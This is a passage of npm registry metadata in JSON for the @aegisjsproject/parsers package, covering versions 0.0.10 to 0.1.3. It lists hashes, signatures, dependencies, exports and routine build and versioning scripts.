create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/sanitizer":"^0.1.2"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.10_1727279971584_0.02793253631737458","host":"s3://npm-registry-packages"}},"0.0.11":{"name":"@aegisjsproject/parsers","version":"0.0.11","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.11","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"b708d80522345409afe37d596ac57259702a0189","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.11.tgz","fileCount":21,"integrity":"sha512-CSCZkMrLCQgw9F0OEaku6328gGAiVHVqbXEpc0RKHfb/IgkzOPMXgVE72BNsu5aTPW2NaxlzW3QmRwmI+e8b2Q==","signatures":[{"sig":"MEUCIBn6mLKZyXUxveLkGlG21lN3XD5HcQzyQ8FRtJkvWuv5AiEAj86CVfu7ah9pBlwyEL04vlxhZgQUEG8psfZX15+capk=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.11","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":120509},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"74b2a518aa643225251559ff5430259d6c443be8","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/sanitizer":"^0.1.2"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.11_1727667062120_0.675927607001092","host":"s3://npm-registry-packages"}},"0.0.12":{"name":"@aegisjsproject/parsers","version":"0.0.12","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.12","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"8ed38f3482e693bc505b35a6e11ecd84b4d2aec3","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.12.tgz","fileCount":21,"integrity":"sha512-m9VKmuNkiAy0HMGxCjA56GJj2jPR+Crv5yrDEvDodFEXQlGWZycGKwjoFgHxwnyzOxYUMkRixjlq22vzqAoSmA==","signatures":[{"sig":"MEQCIET3yIXfdqUeEiavJFivzDs1EScSUCZfVss9DxrZplb7AiAsjjNY78IG/bmdHYzf5JBsxqFfeiiIkP8Ii+XnI69fDg==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.12","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":120482},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"b999967731a39e54ae52b5ef9e797985c2c9ab9a","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/sanitizer":"^0.1.2"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.12_1728071665768_0.7523107586200584","host":"s3://npm-registry-packages"}},"0.0.13":{"name":"@aegisjsproject/parsers","version":"0.0.13","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.13","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"d4f141b9eae8060d0c801f05153f377cfa11ee34","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.13.tgz","fileCount":18,"integrity":"sha512-3J0EwnnNaoDaZi3pzlSHgbQ4qfEzsq6RXXBxcZzHePO1PO7yvXcOyPFvJk0V3CaqFw9cRv4J58BbMcKruhAjcQ==","signatures":[{"sig":"MEUCIQDYamVLjsUrqoTOc+SUKzkbTaAaqlA8+FS0UjEpWxYq2wIgJyfolq1kNqfM/LCe2hCW23acNKBvi38NFXMqSafCVrM=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.13","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":116476},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.min.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"86f282014b220f8092e5eb70f6e5d9426b98ca8f","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/url":"^1.0.0","@aegisjsproject/sanitizer":"^0.1.2"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.13_1730131134241_0.05752868828701718","host":"s3://npm-registry-packages"}},"0.0.14":{"name":"@aegisjsproject/parsers","version":"0.0.14","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.14","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"d45b96f34b3e3d46dbf9682a1a695be728ea09be","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.14.tgz","fileCount":18,"integrity":"sha512-INEQbSv5WsyYPvXD+Aj7bItTIsMi+EnpXFlWeRz7SKShNnNw/ndUkAW/BORF4RjDXtHTlrl/+gAK/UPPQHusxQ==","signatures":[{"sig":"MEYCIQCrSxwPaljayuq83PPssA6k49Tg/d31nZUU4gYagX/nAgIhAOY1IS9ZqJP2jRXTLfo+fE/S4C0goRJAETa7UGn13c5q","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.14","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":116747},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"7a4ab8e580b2f3f9d51f05662b7a5069cbeb8fa2","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/url":"^1.0.0","@aegisjsproject/sanitizer":"^0.1.3"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.14_1730922461054_0.3913123740484108","host":"s3://npm-registry-packages"}},"0.0.15":{"name":"@aegisjsproject/parsers","version":"0.0.15","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.15","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/./issues"},"dist":{"shasum":"34ca54bc229e5a64ab3179a8f9289d3795582316","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.15.tgz","fileCount":18,"integrity":"sha512-hjMsHxVgOpoOij6Wiqw/7ZpUTo1CLlBvvgUqynwjMNcZXOSUTRZDuTTp/JLwCCrX0HKWEcLH0QrHywr9+ToghA==","signatures":[{"sig":"MEUCIAVCTvAnWOf5Nv0FQApOcBlzf6HMa6ph+6DD2zIBODcvAiEAkWz99HedF1lNnIp+UpVkyiTcDtEmZ/TSPxYznhlWzPM=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.15","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":118043},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"d474259d5d813fd09dc31563de555643d53291e3","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/url":"^1.0.0","@aegisjsproject/sanitizer":"^0.1.3"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.15_1731173398123_0.08423900681582452","host":"s3://npm-registry-packages"}},"0.0.16":{"name":"@aegisjsproject/parsers","version":"0.0.16","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.0.16","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"0ed13dc8a4497c0ced3ee33d1802dcc23e8ff881","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.0.16.tgz","fileCount":18,"integrity":"sha512-WHtnHc4wACFByLyXVTFwXMXCg8hJV6mlm279twe623IvwyOn+EsefC2D0Fcvin5GTNqLLcTd3CTtELNx3Or4pw==","signatures":[{"sig":"MEUCIQCMn0EeZkdweFIYd21aSxXg9+IQqpqUShvlB26uDgODbgIgM0jw7+4pfNVnR2B2KykrFUjplG2+DFPbvNIw5CdNQO8=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.0.16","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":121546},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"e36d401cc37f0860494277e1fa7c059ab20d7d2b","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/url":"^1.0.1","@aegisjsproject/sanitizer":"^0.1.3"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^15.2.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.0.16_1732644585926_0.6921939071301044","host":"s3://npm-registry-packages"}},"0.1.0":{"name":"@aegisjsproject/parsers","version":"0.1.0","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.0","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"6b6c1d8fc51a28ef1efd054ef0f922e356c6dc28","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.0.tgz","fileCount":18,"integrity":"sha512-D9XQV53JKsymDvSSrZiDg4V3sts9Olgnsk7az75edYW6qXWUvtivwimAs1XHT9ZvRZjaHn/JGVQkfZ8Yynhvzw==","signatures":[{"sig":"MEUCICY+RWOfBs803m/vyhq2Upyocx8PhjprhiWGDsAjhy1AAiEA1hJUEY2oQj70bln5/Af+yDpCXgoXKnGuiPhVfJRc648=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122325},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"b23517900b4bda22ce623841eeabc145b8395601","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"10.1.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"20.9.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.0"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^16.0.0"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.0_1761249662796_0.34006869105808013","host":"s3://npm-registry-packages-npm-production"}},"0.1.2":{"name":"@aegisjsproject/parsers","version":"0.1.2","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.2","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"de9be95bb7516ac7c96aa80ccbfe028a947fa265","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.2.tgz","fileCount":18,"integrity":"sha512-WeZTRop4lZZX1/knWNZznpRXOIJi/HhaOglzgswZiE5/URmCPSaycYFY/66veS1Yza+5ickAETx/IcAdIC4WNQ==","signatures":[{"sig":"MEUCIHrohOXv8YOmxkT+DSOhEKdoAqrABR8FwNW2qjw+dpkjAiEAmEmc3/nd16RzU65gj/3eggVshou9j/yRZi1I1R5T0jM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122037},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"9457093913da0494aff53920a0a6545f021cacc0","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:bd82bec2-37d6-4d3d-aa93-fac19cb93a3d"}},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.6.1","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"24.10.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.1"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^16.0.0"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.2_1763496160677_0.8251866666263536","host":"s3://npm-registry-packages-npm-production"}},"0.1.3":{"name":"@aegisjsproject/parsers","version":"0.1.3","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.3","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"5e84cc5eb75e1f9d1b7fdd419751a30a06870edd","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.3.tgz","fileCount":18,"integrity":"sha512-+BOZ/30k4qy2hRIz25UJ0ujBz5cZJxCY1OXuqwbJAGNqBv6k3iN8xus7fdHo3P2MtHOuVcPRTp3EJWDD7UoKng==","signatures":[{"sig":"MEQCIF2bJefafry9vhfmmLytEcQ+HZ1k/8cnzPPQ+kTuqmGtAiB2JVn0v1JF1325DACY5gHHnGabCRjc+5vsjpU39NT94w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122140},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"